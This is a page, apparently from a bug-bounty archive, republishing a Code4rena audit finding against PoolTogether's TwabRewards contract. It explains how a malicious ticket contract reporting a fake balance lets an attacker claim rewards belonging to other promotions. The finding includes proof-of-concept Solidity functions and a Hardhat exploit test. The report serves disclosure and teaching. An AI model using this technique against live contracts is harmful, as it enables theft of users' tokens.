Skip to content
Business logic Audit finding Intermediate

Malicious tickets can lead to the loss of all tokens

The TwabRewards contract allowed anyone to create a promotion with a malicious ticket contract that returns arbitrary balance values, enabling an attacker to claim an arbitrarily large reward and drain tokens from other promotions.

johnnycash Follow

Originally disclosed on Code4rena

Submitted by johnnycash, also found by WatchPug, csanuragjain, gpersoon, gzeon, harleythedog, kemmio, kenzo, leastwood, and pauliax

Impact

It allows an attacker to retrieve all the tokens of each promotions.

Analysis

Anyone can create a new promotion using createPromotion(). An attacker can create a new malicious promotion with the following parameters:

  • the address of a malicious ticket smart contract
  • the token address from the targeted promotion(s)
  • optionally, _numberOfEpochs equal to 0 to create this promotion for free

The only verification made on the ticket address given by _requireTicket() is that the smart contract must implement the ITicket interface.

The attacker can then call claimRewards() with its wallet address, the malicious promotion id and a single _epochId for the sake of clarity.

  1. _calculateRewardAmount() is first called to get the reward amount with the following formula (_promotion.tokensPerEpoch * _ticket.getAverageBalanceBetween()) / _ticket.getAverageTotalSuppliesBetween(). The malicious ticket can return an arbitrary _averageBalance and an _averageTotalSupplies of 1, leading to an arbitrary large reward amount.
  2. _promotion.token.safeTransfer(_user, _rewardsAmount) is called. It transfers the amount of tokens previously computed to the attacker.

The attacker receives the tokens of other promotions without having spent anything.

Proof of Concept

The malicious smart contract is a copy/paste of TicketHarness.sol and Ticket.sol with the following changes:

/// @inheritdoc ITicket
function getAverageTotalSuppliesBetween(
    uint64[] calldata _startTimes,
    uint64[] calldata _endTimes
) external view override returns (uint256[] memory) {
    uint256[] memory _balances = new uint256[](1);
    _balances[0] = uint256(1);
    return _balances;
}

/// @inheritdoc ITicket
function getAverageBalanceBetween(
    address _user,
    uint64 _startTime,
    uint64 _endTime
) external view override returns (uint256) {
    return 1337;
}

The test for HardHat is:

describe('exploit()', async () => {
    it('this shouldnt happen', async () => {
        const promotionIdOne = 1;
        const promotionIdTwo = 2;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionIdOne);

        let evilTicketFactory = await getContractFactory('EvilTicket');
        let evilTicket = await evilTicketFactory.deploy('EvilTicket', 'TICK', 18, wallet1.address);
        let createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
        await expect(twabRewards.connect(wallet2).createPromotion(
            evilTicket.address,
            rewardToken.address,
            tokensPerEpoch,
            createPromotionTimestamp,
            1,//epochDuration,
            0,//epochsNumber,
        )).to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionIdTwo);

        await increaseTime(100);
        const epochIds = ['100'];
        await twabRewards.connect(wallet2).claimRewards(wallet2.address, promotionIdTwo, epochIds);
    });
});

It results in the following error:

1) TwabRewards
    exploit()
        this shouldnt happen:
    Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'
    at TwabRewardsHarness.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:209)
    at TwabRewardsHarness.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132)
    at TwabRewardsHarness.functionCall (@openzeppelin/contracts/utils/Address.sol:94)
    at TwabRewardsHarness._callOptionalReturn (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:92)
    at TwabRewardsHarness.safeTransfer (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:25)
    at TwabRewardsHarness.claimRewards (contracts/TwabRewards.sol:186)

Recommended Mitigation Steps

Maybe add a whitelist of trusted tickets?

PierrickGT (PoolTogether) confirmed

The original report as published on Code4rena, by johnnycash. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could retrieve all the tokens of each promotion, but the proof-of-concept transaction reverted because the contract did not hold enough tokens to cover the inflated reward.

What the attacker needed

Ability to deploy a malicious smart contract; no special permissions needed

The fix

The contract should be fixed by adding a whitelist of trusted ticket contracts, as the report suggests.

How it was found

  1. Create a malicious ticket contract that implements ITicket and returns an arbitrary large average balance and an average total supply of 1.
  2. Call createPromotion() with the malicious ticket address, the token address of a targeted promotion, and optionally zero epochs to avoid paying a creation fee.
  3. Call claimRewards() with the attacker's wallet address, the malicious promotion id, and an epoch id.
  4. The contract calculates a huge reward using the malicious ticket's values and transfers that amount of tokens to the attacker.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract let people create reward promotions. It trusted any ticket contract to report how many tokens a user had. An attacker made a fake ticket that lied about having a huge balance, so the contract paid out far more tokens than it should, taking them from other promotions.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by johnnycash

View all

1 more disclosed report, best first.

More from PoolTogether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.